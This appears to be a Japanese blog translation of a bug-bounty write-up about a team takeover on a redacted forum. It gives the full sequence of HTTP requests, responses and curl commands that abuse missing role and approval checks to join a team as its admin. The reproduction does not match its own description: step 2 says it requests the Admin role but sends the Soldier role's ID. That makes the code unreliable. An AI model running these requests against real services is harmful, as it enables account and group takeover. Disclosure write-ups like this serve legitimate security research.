Shikata Ga Nai

Private? There is no such things.

Full Team Takeoverを訳してみた

Hello there, ('ω')ノ

 

チーム全体の引き継ぎを。

 

脆弱性:

 壊れたアクセス制御

 ロジックの欠陥

 

記事:

 https://tuhin1729.medium.com/full-team-takeover-678c79842065

 

今回は、誰かのチームを引き継ぐことができた発見の 1 つを。

 

序章:

基本的に、ターゲットは、人々が相互に交流したり、

他の人々とチームを作成したりできるフォーラムで。

チームの機能を分析しているときに、次の点に気づき。

 

1.ユーザはチームを作成できて。


2.他のユーザは、兵士、マネージャ、サポーターのいずれかの役割で

 チームに参加するリクエストを送信できて。

 ただし、管理者としてチームに参加するリクエストを送信することはできず。

 すべての役割には、チーム内で実行が許可されている権限に基づいて、

 異なる重要度レベル (1 ~ 10 の整数) があり。

 たとえば、ロール サポーターは重要度レベル 10 (最低の権限) を持ち、

 ロール管理者は重要度レベル 1 (最高の権限) を持って。


3.チームの管理者がユーザのチーム参加リクエストを承認すると、

 そのユーザはそのチームの一員となり。

 ただし、チーム内の誰でも許可できる権限を持つのは管理者だけで。

 

最初の問題 ー 管理者としてチームに参加するリクエストの送信:

Burp Suiteですべての HTTP リクエストを分析しているときに、

利用可能なすべてのロールを取得するリクエストがあることに気付き。

 

POST /functions/team-roles-get HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 2
Referer: https://redacted.com/
Origin: https://redacted.com

{}

 

応答をすぐにキャプチャすると次のようになり。

 

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 309
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 05:18:59 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

 

基本的に、すべてのロール (管理者を含む)、その重要性、

objectId が応答で明らかになり。

ただし、UI を通じてチームの管理者になることをリクエストすることはできず。

ソルジャーとしてチームに参加するリクエストを送信しようとしたとき、

次の HTTP リクエストに気づき。

 

POST /functions/team-join-post HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 164
Referer: https://redacted.com/
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Origin: https://redacted.com

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}

 

「MdpcbB6bpz」はチームの objectId で、「ZwskfB2xQr」はロール Soldier の

objectId で (/functions/team-roles-get の応答を参照)。

では、上記のリクエストで Soldier の objectId を Admin の objectId に

変更するとどうなるか。

何らかのエラーメッセージが出ると予想していましたが。

 

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 95
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 06:37:56 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

 

リクエストは正常に送信されて。

「GfqdcC7cqA」はチーム参加リクエストの objectId で。

 

2番目の問題 ー 管理者に代わってチーム参加リクエストを承認する:

ここで、チームの管理者になるためにチーム参加リクエストを送信したとしても、

実際の管理者は自分らが申請した役割を明確に認識しているため、

リクエストを許可せず。

管理者アカウントにログインし、チーム参加リクエストを承認しようとしたときに

次の HTTP リクエストに気づき。

 

POST /functions/team-join-response-post HTTP/2
Host: redacted.com
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: */*
X-Session-Token: 6Y4z0L9p6N1d4O2d8G7w4Q9p4E3o1R3c6K0w0C9h
Origin: https://redacted.com
Referer: https://redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}

 

「MdpcbB6bpz」はチームの objectId で、「GfqdcC7cqA」は

チーム参加リクエストの objectId で (これについては前に説明して)。

では、これと同じ HTTP リクエストを他のユーザのアカウントから

送信したらどうなるか。

 

すぐに最初のアカウント (このチーム参加リクエストを送信したアカウント) に

ログインし、上記のリクエストを実行しすると管理者としてチームに参加して。

 

 

これで、チームの詳細を編集し、他のすべてのチーム参加リクエストを表示して

承認/拒否できるようになって。

上記の内容を読むのが面倒な方のために、短いバージョンを以下に示すと。


再現する手順:

1.Admin ロールの objectId を取得して。

 

tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'

{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

 

2.管理者としてチームに参加するリクエストを送信して。

 

tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'

{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

 

3.objectId をコピーし、チーム参加リクエストを承認して。

 

tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-response-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'

{"result":true}

 

これであなたはチームの管理者になったことに注目して。

 

Best regards, (^^ゞ